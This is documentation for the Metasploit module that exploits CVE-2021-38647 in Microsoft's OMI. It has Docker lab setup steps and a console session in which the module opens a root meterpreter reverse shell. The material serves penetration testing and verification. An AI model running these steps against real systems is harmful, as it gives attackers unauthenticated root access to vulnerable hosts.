2021-10-26 11:33:55 -04:00
|
|
|
## Vulnerable Application
|
|
|
|
|
|
|
|
|
|
By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint that will
|
|
|
|
|
cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1
|
2021-10-26 15:21:19 -04:00
|
|
|
(released September 8th 2021).
|
2021-10-26 11:33:55 -04:00
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
1. Start the application using the [Censys Dockerfile][1]
|
|
|
|
|
1. `docker build . -t ms-omi:cve-2021-38647`
|
|
|
|
|
2. `docker run --name cve-2021-38647 --rm -d -p 5985:5985 ms-omi:cve-2021-38647`
|
|
|
|
|
2. Start `msfconsole`
|
|
|
|
|
3. Do: `use exploit/linux/misc/cve_2021_38647_omigod`
|
|
|
|
|
4. Set the module options
|
|
|
|
|
5. Do: `exploit`
|
|
|
|
|
6. You should get a shell.
|
|
|
|
|
|
|
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
|
|
|
|
### Ubuntu 20.04 x64, OMI v1.6.8, SCX v1.6.6
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
msf6 > use exploit/linux/misc/cve_2021_38647_omigod
|
|
|
|
|
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
msf6 exploit(linux/misc/cve_2021_38647_omigod) > set RHOSTS 192.168.159.128
|
|
|
|
|
RHOSTS => 192.168.159.128
|
|
|
|
|
msf6 exploit(linux/misc/cve_2021_38647_omigod) > check
|
|
|
|
|
[+] 192.168.159.128:5985 - The target is vulnerable. Command executed as uid 0.
|
|
|
|
|
msf6 exploit(linux/misc/cve_2021_38647_omigod) > set TARGET Linux\ Dropper
|
|
|
|
|
TARGET => Linux Dropper
|
|
|
|
|
msf6 exploit(linux/misc/cve_2021_38647_omigod) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
PAYLOAD => linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
msf6 exploit(linux/misc/cve_2021_38647_omigod) > exploit
|
|
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 192.168.159.128:8443
|
|
|
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
|
|
|
|
[+] The target is vulnerable. Command executed as uid 0.
|
|
|
|
|
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
[*] Sending stage (3012548 bytes) to 192.168.159.128
|
|
|
|
|
[*] Command Stager progress - 100.00% done (823/823 bytes)
|
|
|
|
|
[*] Meterpreter session 1 opened (192.168.159.128:8443 -> 192.168.159.128:41066 ) at 2021-10-26 10:53:18 -0400
|
|
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: root
|
|
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : 10.0.2.100
|
|
|
|
|
OS : Ubuntu 20.04 (Linux 5.14.11-200.fc34.x86_64)
|
|
|
|
|
Architecture : x64
|
|
|
|
|
BuildTuple : x86_64-linux-musl
|
|
|
|
|
Meterpreter : x64/linux
|
|
|
|
|
meterpreter >
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
[1]: https://gist.github.com/dabdine/ac6aadde068cad4d58251453e688a84f
|
